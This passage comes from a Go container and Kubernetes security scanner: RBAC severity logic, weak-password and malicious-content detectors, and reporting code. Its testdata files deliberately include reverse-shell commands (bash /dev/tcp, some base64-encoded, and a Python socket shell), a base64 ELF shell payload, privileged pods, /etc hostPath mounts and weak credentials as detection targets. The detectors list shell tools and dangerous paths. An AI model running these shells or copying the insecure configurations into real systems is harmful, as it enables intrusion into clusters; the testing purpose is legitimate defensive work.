= true break default: // ingore } } return vuln, th } func RBACVulnTypeJudge(rules, resources []string) (string, string) { var severity = "warning" var description string dangerResources := []string{"pods", "deployments", "statefulsets", "serviceaccounts"} dangerRules := []string{"create", "update", "patch", "delete", "impersonate"} sensitiveResources := []string{"secrets", "configmaps"} secretLeakage := false if resources[0] == "*" { severity = "medium" goto rulesJudge } for _, resource := range resources { for _, drs := range dangerResources { switch { case resource == drs: severity = "medium" break case strings.HasPrefix(resource, drs): if severity != "warning" { severity = "low" } } } for _, srs := range sensitiveResources { if resource == srs { severity = "medium" secretLeakage = true break } } } if rules[0] == "*" { switch severity { case "medium": severity = "high" description = "All permissions with key resources given to the default service account, " + "which will cause a potential container escape." case "low": severity = "medium" description = "All permissions with some resources are given to the default service account " + "which will cause a potential data leakage." case "warning": severity = "low" description = "All permissions with unknown resources are given to the default service account " + "which will cause a potential data leakage." } goto otherJudge } rulesJudge: for _, verb := range rules { for _, drl := range dangerRules { if verb != drl { continue } switch severity { case "medium": severity = "high" description = "Key permissions with key resources given to the default service account, " + "which will cause a potential data leakage." case "low": severity = "medium" description = "Key permissions with some resources are given to the default service account " + "which will cause a potential data leakage." case "warning": severity = "low" description = "Key permissions with unknown resources are given to the default service account " + "which will cause a potential data leakage." } break } } otherJudge: if description == "" { switch severity { case "medium": if secretLeakage { severity = "high" description = "Secret view permission is given to the default service account, " + "which will cause a data leakage." } else { description = "Some permissions with key resources given to the default service account, " + "which will cause a potential data leakage." } case "low": description = "Some permissions with some resources are given to the default service account " + "which will cause a potential data leakage." case "warning": description = "Some permissions with unknown resources are given to the default service account " + "which will cause a potential data leakage." } } return severity, description } ================================================ FILE: internal/analyzer/scanner.go ================================================ package analyzer import ( "github.com/kvesta/vesta/pkg/inspector" "k8s.io/client-go/kubernetes" "k8s.io/client-go/rest" ) type Scanner struct { DApi inspector.DockerApi VulnContainers []*container EngineVersion string ServerVersion string } type container struct { ContainerID string ContainerName string Status string NodeName string // For kubernetes Namepsace string Threats []*threat } type threat struct { Param string Value string Type string Describe string Severity string Reference string } type KScanner struct { KClient *kubernetes.Clientset KConfig *rest.Config Version string MasterNodes map[string]*nodeInfo VulnConfigures []*threat VulnContainers []*container } type nodeInfo struct { Role map[string]string IsMaster bool InternalIP string } ================================================ FILE: internal/analyzer/testdata/Dockerfile ================================================ FROM busybox:latest LABEL maintainer="vuln docker image" ENV SECRET_KEY=123456 # bash -i >&/dev/tcp/127.0.0.1/9999 0>&1 ENV command=YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjEK RUN echo "password=${SECRET_KEY}" > /etc/config.ini && \ echo "normal string" && \ echo "bash -i >&/dev/tcp/10.0.0.1/9999 0>&1" > /tmp/file CMD ["tail", "-f", "/dev/null"] ================================================ FILE: internal/analyzer/testdata/clusterrolebinding.yaml ================================================ kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: namespace: default name: vuln-clusterrole rules: - apiGroups: [""] resources: ["pods", "services"] verbs: ["get", "watch", "list", "create", "update"] --- kind: ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: name: vuln-clusterrolebinding subjects: - kind: ServiceAccount name: default namespace: default - kind: Group name: system:serviceaccounts:vuln apiGroup: rbac.authorization.k8s.io - kind: Group name: system:unauthenticated apiGroup: rbac.authorization.k8s.io roleRef: kind: ClusterRole name: vuln-clusterrole apiGroup: rbac.authorization.k8s.io --- kind: ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: name: vuln-clusterrolebinding2 subjects: - kind: Group name: system:serviceaccounts:vuln apiGroup: rbac.authorization.k8s.io - kind: Group name: system:unauthenticated apiGroup: rbac.authorization.k8s.io - kind: User name: testUser apiGroup: rbac.authorization.k8s.io roleRef: kind: ClusterRole name: vuln-clusterrole apiGroup: rbac.authorization.k8s.io ================================================ FILE: internal/analyzer/testdata/configmap.yaml ================================================ apiVersion: v1 kind: ConfigMap metadata: name: vulnconfig labels: app: configmap data: POSTGRES_PASSWORD: postgres db.string: "mysql+pymysql://dbapp:Password123@db:3306/db" ================================================ FILE: internal/analyzer/testdata/daemonset.yaml ================================================ apiVersion: apps/v1 kind: DaemonSet metadata: name: vuln-daemonset namespace: kube-system labels: k8s-app: vuln-daemonset-labels spec: selector: matchLabels: name: vuln-daemonset-pod template: metadata: labels: name: vuln-daemonset-pod spec: tolerations: - key: node-role.kubernetes.io/control-plane operator: Exists effect: NoSchedule - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule containers: - name: daemonset-pod image: nginx:latest imagePullPolicy: IfNotPresent securityContext: privileged: true resources: limits: memory: 200Mi requests: cpu: 100m memory: 200Mi terminationGracePeriodSeconds: 30 ================================================ FILE: internal/analyzer/testdata/docker-compose.yaml ================================================ services: web: image: vesta-vuln-test:latest build: dockerfile: Dockerfile ================================================ FILE: internal/analyzer/testdata/job.yaml ================================================ apiVersion: batch/v1 kind: Job metadata: name: vulnjob spec: template: spec: containers: - name: vulnjob image: python:3.8.10 command: ["python3", "-e", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"] restartPolicy: Never backoffLimit: 4 ================================================ FILE: internal/analyzer/testdata/pod.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: vulntest labels: app: vulntest spec: automountServiceAccountToken: false containers: - name: vulntest image: nginx imagePullPolicy: IfNotPresent volumeMounts: - name: test-volume mountPath: /opt/vulntest ports: - containerPort: 80 securityContext: privileged: true resources: limits: cpu: "1" ephemeral-storage: "1Gi" - name: sidecartest image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent env: - name: MYSQL_ROOT_PASSWORD value: password - name: MALWARE value: "bash -i >& /dev/tcp/127.0.0.1/9999 0>&1" - name: NO_PASSWORD valueFrom: resourceFieldRef: containerName: test-volume resource: requests.cpu - name: env_secret valueFrom: secretKeyRef: name: vuln-secret-pod-env key: key optional: false volumes: - name: test-volume hostPath: path: /etc/ type: Directory --- apiVersion: v1 kind: Secret metadata: name: vuln-secret-pod-env type: kubernetes.io/basic-auth stringData: username: mysecret password: Password123 --- apiVersion: v1 kind: Pod metadata: name: vulntest2 labels: app: vulntest2 annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*' spec: containers: - name: vulntest2 image: nginx imagePullPolicy: IfNotPresent volumeMounts: ports: - containerPort: 80 securityContext: capabilities: add: ["CAP_SYS_ADMIN"] envFrom: - configMapRef: name: vuln-env-config --- apiVersion: v1 kind: ConfigMap metadata: name: vuln-env-config data: Token: Password123456 ================================================ FILE: internal/analyzer/testdata/podsecuritypolicy.yaml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: pod-security-policy-vuln spec: privileged: true seLinux: rule: RunAsAny supplementalGroups: rule: RunAsAny runAsUser: rule: RunAsAny fsGroup: rule: RunAsAny defaultAddCapabilities: - ALL ================================================ FILE: internal/analyzer/testdata/pv.yaml ================================================ apiVersion: v1 kind: PersistentVolume metadata: name: testpv labels: type: local spec: storageClassName: manual capacity: storage: 1Gi accessModes: - ReadWriteMany hostPath: path: "/etc/" ================================================ FILE: internal/analyzer/testdata/pvc.yaml ================================================ apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc spec: storageClassName: manual accessModes: - ReadWriteMany resources: requests: storage: 1Gi ================================================ FILE: internal/analyzer/testdata/rolebinding.yaml ================================================ kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: namespace: default name: vuln-role rules: - apiGroups: [""] resources: ["pods", "services"] verbs: ["get", "watch", "list", "create", "update"] --- kind: RoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: name: vuln-rolebinding namespace: default subjects: - kind: ServiceAccount name: default namespace: default - kind: Group name: system:serviceaccounts apiGroup: rbac.authorization.k8s.io - kind: Group name: system:authenticated apiGroup: rbac.authorization.k8s.io roleRef: kind: Role name: vuln-role apiGroup: rbac.authorization.k8s.io --- kind: RoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: name: vuln-rolebinding2 namespace: default subjects: - kind: Group name: system:authenticated apiGroup: rbac.authorization.k8s.io roleRef: kind: Role name: vuln-role apiGroup: rbac.authorization.k8s.io ================================================ FILE: internal/analyzer/testdata/secret.yaml ================================================ apiVersion: v1 kind: Secret metadata: name: vulnsecret-basic-auth type: kubernetes.io/basic-auth stringData: username: admin password: Password123 --- apiVersion: v1 kind: Secret metadata: name: vulnsecret type: Opaque data: USER_NAME: YWRtaW4= PASSWORD: YWRtaW4= --- apiVersion: v1 kind: Secret metadata: name: malicioussecret type: Opaque data: content: f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAowAAAAAAAADOAAAAAAAAAAAQAAAAAAAASLgvYmluL3NoAJlQVF9SZmgtY1ReUugHAAAAd2hvYW1pAFZXVF5qO1gPBQ== --- apiVersion: v1 kind: Secret type: kubernetes.io/dockerconfigjson metadata: name: vuln-docker-json data: .dockerconfigjson: ewogICAgImF1dGhzIjogewogICAgICAgICJwcml2YXRlLnJlZ2lzdHJ5LmV4YW1wbGUuY29tIjogewogICAgICAgICAgICAidXNlcm5hbWUiOiAidXNlcm5hbWUiLAogICAgICAgICAgICAicGFzc3dvcmQiOiAicGFzc3dvcmQiLAogICAgICAgICAgICAiZW1haWwiOiAiYWRtaW5AYWRtaW4uY29tIiwKICAgICAgICAgICAgImF1dGgiOiAiZG5Wc2JtUnZZMnRsY2pwd1lYTnpkMjl5WkFvPSIKICAgICAgICB9CiAgICB9Cn0K ================================================ FILE: internal/analyzer/utils.go ================================================ package analyzer import ( "bytes" "context" "encoding/base64" "fmt" "math" "regexp" "sort" "strings" "time" version2 "github.com/hashicorp/go-version" "github.com/kvesta/vesta/config" v1 "k8s.io/api/core/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) var ( baseMatch = regexp.MustCompile(`^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?$`) passKey = []*regexp.Regexp{ regexp.MustCompile(`(?i)pass`), regexp.MustCompile(`(?i)pwd`), regexp.MustCompile(`(?i)token`), regexp.MustCompile(`(?i)secret`), regexp.MustCompile(`(?i)key$`), regexp.MustCompile(`(?i)key[^.]`), } // Reference: https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv cveRuncRegex = regexp.MustCompile(`(?i)/proc/self/fd`) dangerPrefixMountPaths = []string{"/etc/crontab", "/var/run", "/run/containerd", "/sys/fs/cgroup", "/root/.ssh"} dangerFullPaths = []string{"/", "/etc", "/proc", "/proc/1", "/sys", "/root", "/var/log", "/c", "/c/Users", "/private/etc"} namespaceWhileList = []string{"istio-system", "kube-system", "kube-public", "ingress-nginx", "kubesphere-router-gateway", "kubesphere-system", "openshift-sdn", "openshift-node", "openshift-infra"} dangerCaps = map[string]string{ "SYS_ADMIN": "critical", "CAP_SYS_ADMIN": "critical", "CAP_SYS_PTRACE": "high", "CAP_SYS_MODULE": "high", "CAP_SYS_CHROOT": "high", "SYS_PTRACE": "high", "DAC_OVERRIDE": "high", "CAP_BPF": "medium", "CAP_DAC_READ_SEARCH": "medium", "NET_ADMIN": "medium", } unsafeAnnotations = map[string]AnType{ "sidecar.istio.io/proxyImage": {component: "istio", level: "warning"}, "sidecar.istio.io/userVolumeMount": {component: "istio", level: "warning"}, "seccomp.security.alpha.kubernetes.io/allowedProfileNames": {component: "PodSecurityPolicy", level: "medium", Values: []string{"*"}}, "apparmor.security.beta.kubernetes.io/allowedProfileNames": {component: "PodSecurityPolicy", level: "medium", Values: []string{"*"}}, "nginx.ingress.kubernetes.io/permanent-redirect": {component: "nginx ingress", level: "medium", Values: []string{"{", ";", "$", "(", "'", `""`}}, "nginx.ingress.kubernetes.io/server-snippet": {component: "nginx ingress", level: "medium", Values: []string{"serviceaccount/token"}}, "security.alpha.kubernetes.io/sysctls": {component: "k8s", level: "low", Values: []string{"kernel.shm_rmid_forced=0", "net.core.", "kernel.shm", "kernel.msg", "kernel.sem", "fs.mqueue."}}, } ) type AnType struct { component string level string Values []string } func checkWeakPassword(pass string) string { countCase := 0 pass = string(decodeBase64(pass)) // Particularly checking the keyword keyWords := []string{"password", "admin", "qwerty", "1q2w3e", "123456"} for _, keyword := range keyWords { replmatch := regexp.MustCompile(fmt.Sprintf(`(?i)%s`, keyword)) pass = replmatch.ReplaceAllString(pass, "") } length := len(pass) lowerCase := regexp.MustCompile(`[a-z]`) lowerMatch := lowerCase.FindStringSubmatch(pass) if len(lowerMatch) > 0 { countCase += 1 } upperCase := regexp.MustCompile(`[A-Z]`) upperMatch := upperCase.FindStringSubmatch(pass) if len(upperMatch) > 0 { countCase += 2 } numberCase := regexp.MustCompile(`[\d]`) numberMatch := numberCase.FindStringSubmatch(pass) if len(numberMatch) > 0 { countCase += 1 } characterCase := regexp.MustCompile(`[^\w]`) characterMatch := characterCase.FindStringSubmatch(pass) if len(characterMatch) > 0 { countCase += 1 } if length <= 6 { switch countCase { case 3, 4: return "Medium" default: return "Weak" } } else if length > 6 && length <= 10 { switch countCase { case 4, 3: return "Strong" case 2: return "Medium" case 1, 0: return "Weak" } } else { if countCase < 2 { return "Medium" } } return "Strong" } func compareVersion(currentVersion, maxVersion, minVersion string) bool { k1, err := version2.NewVersion(currentVersion) if err != nil { return false } if strings.Contains(maxVersion, "=") { maxv, err := version2.NewVersion(maxVersion[1:]) if err != nil { return false } if strings.Contains(minVersion, "=") { minv, err := version2.NewVersion(minVersion[1:]) if err != nil { return false } if k1.Compare(maxv) <= 0 && k1.Compare(minv) >= 0 { return true } } else { minv, err := version2.NewVersion(minVersion) if err != nil { return false } if k1.Compare(maxv) <= 0 && k1.Compare(minv) > 0 { return true } } } else { maxv, err := version2.NewVersion(maxVersion) if err != nil { return false } if strings.Contains(minVersion, "=") { minv, err := version2.NewVersion(minVersion[1:]) if err != nil { return false } if k1.Compare(maxv) < 0 && k1.Compare(minv) >= 0 { return true } } else { minv, err := version2.NewVersion(minVersion) if err != nil { return false } if k1.Compare(maxv) < 0 && k1.Compare(minv) > 0 { return true } } } return false } func checkPrefixMountPaths(path string) bool { for _, p := range dangerPrefixMountPaths { if strings.HasPrefix(path, p) { return true } } return false } func checkFullPaths(path string) bool { for _, p := range dangerFullPaths { if path == p { return true } } return false } func checkMountPath(path string) bool { path = strings.TrimSuffix(path, "/") return checkPrefixMountPaths(path) || checkFullPaths(path) } func sortSeverity(threats []*threat) { sort.SliceStable(threats, func(i, j int) bool { return config.SeverityMap[threats[i].Severity] > config.SeverityMap[threats[j].Severity] }) } type MalReporter struct { Types MalLevel Score float64 Plain string } type MalLevel int8 const ( // Unknown item represents the content is normal. Unknown MalLevel = 0 // Confusion item represents the content matches many safe rules. Confusion MalLevel = 1 // Executable item represents the content is an executable binary. Executable MalLevel = 2 ) func maliciousContentCheck(command string) MalReporter { rep := MalReporter{} // Some string is encoded many times sDec := decodeBase64(command) switch { case bytes.HasPrefix(sDec, []byte("\x7fELF")), strings.HasPrefix(string(sDec), "\\x7F\\x45\\x4C\\x46"): rep.Types = Executable rep.Plain = "ELF LSB executable binary" rep.Score = 0.9 return rep case bytes.HasPrefix(sDec, []byte("MZ")), strings.HasPrefix(string(sDec), "\\x4d\\x5a"): rep.Types = Executable rep.Plain = "PE32+ executable for MS Windows" rep.Score = 0.9 default: // ignore } commandPlain := string(sDec) if isPath(commandPlain) { rep.Types = Unknown return rep } keySymbolReg := regexp.MustCompile(`[~$&<>*!():=.|\\+#;]`) SymbolCount := len(keySymbolReg.FindAllString(commandPlain, -1)) keyFuncs := []string{"syscall", "open", "select", "fork", "proc", "system", "exit", "/dev/tcp/", "/bin/sh", "/bin/bash", "subprocess.", "fsockopen", "TCPSocket", "()", "->"} var funcCount int for _, f := range keyFuncs { funcCount += strings.Count(commandPlain, f) * len(f) } replacer := strings.NewReplacer(" ", "", "\n", "", "\t", "") commandLen := len(replacer.Replace(commandPlain)) score := float64(SymbolCount*3+funcCount) / float64(commandLen) ratio := math.Pow(10, float64(2)) score = math.Round(score*ratio) / ratio if commandLen < 30 { score = 0.0 } if score > 0.75 { rep.Types = Confusion } else { rep.Types = Unknown } rep.Score = score if len(commandPlain) > 50 { rep.Plain = commandPlain[:50] return rep } rep.Plain = commandPlain return rep } func decodeBase64(content string) []byte { normalRegx := regexp.MustCompile(`[\w]`) res := []byte(content) for i := 0; i < 10; i++ { if !baseMatch.Match(res) { break } de, err := base64.StdEncoding.DecodeString(string(res)) if err != nil || len(de) < 1 { res = []byte(content) break } if len(normalRegx.FindAllSubmatch(de, -1)) < 1 { break } res = de } return res } func standardDeviation[T float64 | int](num []T) float64 { var sum, mean, sd float64 length := len(num) for i := 1; i <= length; i++ { sum += float64(num[i-1]) } mean = sum / float64(length) for j := 0; j < length; j++ { sd += math.Pow(float64(num[j])-mean, 2) } return sd / float64(length) } func isPath(content string) bool { pathRegex := regexp.MustCompile(`(/{0,1}(([\w.\-?]|(\\ ))+/)*([\w.\-?]|(\\ ))+)|/`) replacer := strings.NewReplacer(";", "", ":", "") pruneContent := replacer.Replace(content) pathMatch := pathRegex.FindStringSubmatch(pruneContent) if len(pathMatch) > 0 && pathMatch[0] == pruneContent { return true } return false } func (ks *KScanner) findEnvValue(container v1.Container, name, ns string) string { var value string for _, env := range container.Env { if env.Name == name { if env.ValueFrom != nil { switch { case env.ValueFrom.ConfigMapKeyRef != nil: configRef := env.ValueFrom.ConfigMapKeyRef value = ks.findSecretOrConfigMapValue(configRef.Name, "ConfigMap", ns) case env.ValueFrom.SecretKeyRef != nil: configRef := env.ValueFrom.SecretKeyRef value = ks.findSecretOrConfigMapValue(configRef.Name, "Secret", ns) default: //ignore } } else { value = env.Value } break } } return value } func (ks *KScanner) getRBACVulnType(ns string) RBACVuln { rbv := RBACVuln{ Severity: "warning", } clusterNames := []string{} roleNames := []string{} getInfo := func(param string) (string, string) { paramSplit := strings.Split(param, "|") bindingName := strings.Split(paramSplit[0], ":")[1] bindingName = strings.TrimSpace(bindingName) nameSpace := strings.Split(paramSplit[len(paramSplit)-2], ":")[1] nameSpace = strings.TrimSpace(nameSpace) return bindingName, nameSpace } for _, t := range ks.VulnConfigures { switch t.Type { case "ClusterRoleBinding", "RoleBinding": bn, n := getInfo(t.Param) switch { case n != ns && n != "all", t.Severity == "warning": continue case config.SeverityMap[rbv.Severity] < config.SeverityMap[t.Severity]: rbv.Severity = t.Severity } if t.Type == "ClusterRoleBinding" { clusterNames = append(clusterNames, bn) } else { roleNames = append(roleNames, bn) } default: // ignore } } rbv.RoleBinding = strings.Join(roleNames, ", ") rbv.ClusterRoleBinding = strings.Join(clusterNames, ", ") return rbv } func (ks *KScanner) checkConfigVulnType(ns, name, ty string, configReg *regexp.Regexp) (bool, *threat) { var vuln = false th := &threat{} for _, t := range ks.VulnConfigures { if t.Type != ty { continue } configMatch := configReg.FindStringSubmatch(t.Param) configName := strings.TrimSpace(configMatch[1]) namespace := strings.TrimSpace(configMatch[2]) if configName == name && namespace == ns { th = t th.Type = "Sidecar EnvFrom" th.Describe = "Sidecar envFrom " + th.Describe vuln = true break } } return vuln, th } func (ks *KScanner) getPodFromLabels(ns string, matchLabels map[string]string) v1.Pod { p := v1.Pod{} for k, v := range matchLabels { targetPod, err := ks.KClient. CoreV1(). Pods(ns). List(context.TODO(), metav1.ListOptions{ LabelSelector: fmt.Sprintf("%s=%s", k, v), }) if err != nil { continue } if len(targetPod.Items) > 0 { p = targetPod.Items[0] break } } return p } // addExtraPod which in the white list namespace func (ks *KScanner) addExtraPod(ns string, p v1.Pod, vList []*threat) { isChecked := false for _, vulnPod := range ks.VulnContainers { if vulnPod.ContainerName == p.Name && vulnPod.Namepsace == ns { isChecked = true break } } if !isChecked && p.Name != "" { sortSeverity(vList) c := &container{ ContainerName: p.Name, Namepsace: ns, Status: string(p.Status.Phase), NodeName: p.Spec.NodeName, Threats: vList, } ks.VulnContainers = append(ks.VulnContainers, c) } } // prunePod assesses whether a pod need to check if namespace of pod in white list func (ks *KScanner) prunePod(ns, podName string) (bool, error) { pods, err := ks.KClient. CoreV1(). Pods(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return false, err } type PodStatus struct { Age float64 Restarts int } p := PodStatus{} podNumber := len(pods.Items) ageWeight := make([]float64, podNumber-1) restartWeight := make([]int, podNumber-1) index := 0 for _, pod := range pods.Items { if len(pod.Status.ContainerStatuses) < 1 { continue } age := time.Since(pod.CreationTimestamp.Time) restarts := pod.Status.ContainerStatuses[0].RestartCount if pod.Name == podName { p.Age = math.Round(age.Hours()) p.Restarts = int(restarts) continue } ageWeight[index] = math.Round(age.Hours()) restartWeight[index] = int(restarts) index += 1 } sort.Float64s(ageWeight) sort.Ints(restartWeight) ageDeviation := standardDeviation[float64](ageWeight) restartDeviation := math.Sqrt(standardDeviation[int](restartWeight)) ageCount := map[float64]int{} restartCount := map[int]int{} for i := 0; i < podNumber-1; i++ { age := ageWeight[i] restarts := restartWeight[i] if _, ok := ageCount[age]; ok { ageCount[age] += 1 } else { ageCount[age] = 1 } if _, ok := restartCount[restarts]; ok { restartCount[restarts] += 1 } else { restartCount[restarts] = 1 } } score := 0.0 for number, count := range ageCount { if math.Abs(p.Age-number) > ageDeviation { score = math.Max(score, float64(count)/float64(podNumber-1)) } } // compare to the oldest operation score += 0.2 * math.Abs(float64(p.Age)-ageWeight[podNumber-2]) / (ageWeight[podNumber-2] / 960) rscore := 0.0 for number, count := range restartCount { if math.Abs(float64(p.Restarts-number)) > restartDeviation { rscore = math.Max(rscore, float64(count)/float64(podNumber-1)) } } score += rscore if score < 0.7 { return true, nil } return false, nil } ================================================ FILE: internal/encode.go ================================================ package internal import ( "math/rand" "time" ) func RandomString() string { rand.Seed(time.Now().UnixNano()) charset := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") b := make([]rune, 32) for i := range b { b[i] = charset[rand.Intn(len(charset))] } return string(b) } ================================================ FILE: internal/extract.go ================================================ package internal import ( "archive/tar" "context" "io" "log" "os" "path/filepath" "github.com/kvesta/vesta/pkg" "github.com/kvesta/vesta/pkg/layer" ) func exists(path string) bool { _, err := os.Stat(path) if err != nil { if os.IsExist(err) { return true } return false } return true } // mkFolder get current path and create a temp folder func mkFolder(foldername string) string { pwd, _ := os.Getwd() tempFolder := filepath.Join(pwd, foldername) if !exists(tempFolder) { os.MkdirAll(tempFolder, os.FileMode(0755)) } return tempFolder } // Extract layers from inspector tar func Extract(ctx context.Context, tarPath string, tarIO []io.ReadCloser) (*layer.Manifest, error) { var tarReader *tar.Reader tempPath := mkFolder(RandomString()) if tarIO == nil { image, err := os.Open(tarPath) if err != nil { return nil, err } defer image.Close() tarReader = tar.NewReader(image) } else { tarReader = tar.NewReader(tarIO[0]) } // command `docker export` will generate a single file system // just return the directory if ctx.Value("tarType") == "container" { err := pkg.Walk(tarReader, tempPath) if err != nil { log.Printf("extract tar file failed: %v", err) } // Get mount path if len(tarIO) > 1 { for _, mio := range tarIO[1:] { tarReader = tar.NewReader(mio) err = pkg.Walk(tarReader, tempPath) if err != nil { log.Printf("decompress mount path failed, error: %v", err) continue } } } img := &layer.Manifest{ Localpath: tempPath, Hash: "container", } return img, nil } // need temp folder path to get layer.tar img, err := Inspect(ctx, tempPath, tarReader) if err != nil { log.Printf("Getting layers failed") return nil, err } // integrate all layers for _, l := range img.Layers { err := l.Integration(tempPath, l.Hash) if err != nil { continue } } return img, nil } ================================================ FILE: internal/inspect.go ================================================ package internal import ( "archive/tar" "context" "github.com/kvesta/vesta/pkg/layer" ) // Inspect get inspector struct func Inspect(ctx context.Context, tempPath string, tarReader *tar.Reader) (*layer.Manifest, error) { image := layer.Manifest{} if err := image.GetLayers(ctx, tarReader, tempPath); err != nil { return nil, err } image.Localpath = tempPath return &image, nil } ================================================ FILE: internal/report/files.go ================================================ package report import ( "context" "fmt" "io/ioutil" "log" "os" "path/filepath" "time" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/internal/analyzer" "github.com/kvesta/vesta/internal/vulnscan" "k8s.io/apimachinery/pkg/util/json" ) func exists(path string) bool { _, err := os.Stat(path) if err != nil { if os.IsExist(err) { return true } return false } return true } func getOutputFile(ctx context.Context) (string, error) { outfile := ctx.Value("output").(string) if outfile == "output" { pwd, _ := os.Getwd() folder := filepath.Join(pwd, "output") if !exists(folder) { err := os.MkdirAll(folder, os.FileMode(0755)) if err != nil { return "", err } } nowStamp := time.Now().Format("2006-01-02") file := filepath.Join(folder, fmt.Sprintf("%s.json", nowStamp)) return file, nil } else { folder := filepath.Dir(outfile) if !exists(folder) { err := os.MkdirAll(folder, os.FileMode(0755)) if err != nil { return "", err } } return outfile, nil } } func ScanToJson(ctx context.Context, r vulnscan.Scanner) error { filename, err := getOutputFile(ctx) if err != nil { return err } data, err := json.Marshal(r.Vulns) if err != nil { return err } err = ioutil.WriteFile(filename, data, 0644) if err != nil { return err } fmt.Printf("\n") log.Printf("Output file is saved in: %s", config.Yellow(filename)) return nil } func AnalyzeDockerToJson(ctx context.Context, r analyzer.Scanner) error { filename, err := getOutputFile(ctx) if err != nil { return err } data, err := json.Marshal(r.VulnContainers) if err != nil { return err } err = ioutil.WriteFile(filename, data, 0644) if err != nil { return err } fmt.Printf("\n") log.Printf("Output file is saved in: %s", config.Yellow(filename)) return nil } func AnalyzeKubernetesToJson(ctx context.Context, r analyzer.KScanner) error { filename, err := getOutputFile(ctx) if err != nil { return err } var f *os.File if !exists(filename) { f, err = os.Create(filename) } else { f, err = os.OpenFile(filename, os.O_WRONLY, 0644) } if err != nil { return err } defer f.Close() dataPods, err := json.Marshal(r.VulnContainers) if err != nil { return err } _, err = f.Write(dataPods) if err != nil { return err } dataConfig, err := json.Marshal(r.VulnConfigures) _, err = f.Write(dataConfig) if err != nil { return err } fmt.Printf("\n") log.Printf("Output file is saved in: %s", config.Yellow(filename)) return nil } ================================================ FILE: internal/report/output.go ================================================ package report import ( "context" "fmt" "os" "strconv" "strings" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/internal/analyzer" "github.com/kvesta/vesta/internal/vulnscan" "github.com/olekukonko/tablewriter" ) // ResolveAnalysisData print the result of image scan func ResolveAnalysisData(ctx context.Context, r vulnscan.Scanner) error { critical, high, medium, low := 0, 0, 0, 0 for _, c := range r.Vulns { switch strings.ToLower(c.Level) { case "critical": critical += 1 case "high": high += 1 case "medium": medium += 1 case "low": low += 1 default: // ignore } } fmt.Printf("\nDetected %s vulnerabilities | "+ "Critical: %s High: %s Medium: %s Low: %s\n\n", config.Yellow(len(r.Vulns)), config.Red(critical), config.Pink(high), config.Yellow(medium), config.Green(low)) table := tablewriter.NewWriter(os.Stdout) table.SetHeader([]string{"ID", "Name", "Current/Vulnerable Version", "CVEID", "Score", "Level", "Description"}) table.SetRowLine(true) table.SetAutoMergeCellsByColumnIndex([]int{1}) var Des string var currentType = "System" for i, c := range r.Vulns { if c.Type != currentType { table.Render() table.ClearRows() currentType = c.Type fmt.Printf("\n\n%s:\n", c.Type) } scroe := fmt.Sprintf("%.1f", c.Score) // Limit the length of description if len(c.Desc) > 200 { Des = c.Desc[:200] + " ..." } else { Des = c.Desc } vulnData := []string{ strconv.Itoa(i + 1), c.Name, fmt.Sprintf("%s / %s", c.CurrentVersion, c.VulnerableVersion), c.CVEID, scroe, judgeSeverity(c.Level), Des, } table.Append(vulnData) } table.Render() return nil } // ResolveDockerData print the result of analyze by docker func ResolveDockerData(ctx context.Context, r analyzer.Scanner) error { critical, high, medium, low := 0, 0, 0, 0 for _, c := range r.VulnContainers { for _, v := range c.Threats { switch strings.ToLower(v.Severity) { case "critical": critical += 1 case "high": high += 1 case "medium": medium += 1 case "low": low += 1 default: // ignore } } } fmt.Printf("\nDetected %s vulnerabilities | "+ "Critical: %s High: %s Medium: %s Low: %s\n\n", config.Yellow(len(r.VulnContainers)), config.Red(critical), config.Pink(high), config.Yellow(medium), config.Green(low)) table := tablewriter.NewWriter(os.Stdout) table.SetHeader([]string{"ID", "Container Detail", "Param", "Value", "Severity", "Description"}) table.SetRowLine(true) table.SetAutoMergeCellsByColumnIndex([]int{0, 1}) for i, c := range r.VulnContainers { for _, v := range c.Threats { vulnData := []string{strconv.Itoa(i + 1), fmt.Sprintf("Name: %s \nID: %s", c.ContainerName, c.ContainerID), v.Param, v.Value, judgeSeverity(v.Severity), v.Describe, } table.Append(vulnData) } } table.Render() return nil } // ResolveKuberData print the result of analyze by kubernetes func ResolveKuberData(ctx context.Context, r analyzer.KScanner) error { // Report pod condition critical, high, medium, low, warning := 0, 0, 0, 0, 0 for _, c := range r.VulnContainers { for _, v := range c.Threats { switch strings.ToLower(v.Severity) { case "critical": critical += 1 case "high": high += 1 case "medium": medium += 1 case "low": low += 1 case "warning": warning += 1 default: // ignore } } } for _, v := range r.VulnConfigures { switch strings.ToLower(v.Severity) { case "critical": critical += 1 case "high": high += 1 case "medium": medium += 1 case "low": low += 1 case "warning": warning += 1 default: // ignore } } fmt.Printf("\nDetected %s vulnerabilities | "+ "Critical: %s High: %s Medium: %s Low: %s Warning: %d\n\n", config.Yellow(len(r.VulnContainers)+len(r.VulnConfigures)), config.Red(critical), config.Pink(high), config.Yellow(medium), config.Green(low), warning) if len(r.VulnContainers)+len(r.VulnConfigures) == 0 { return nil } 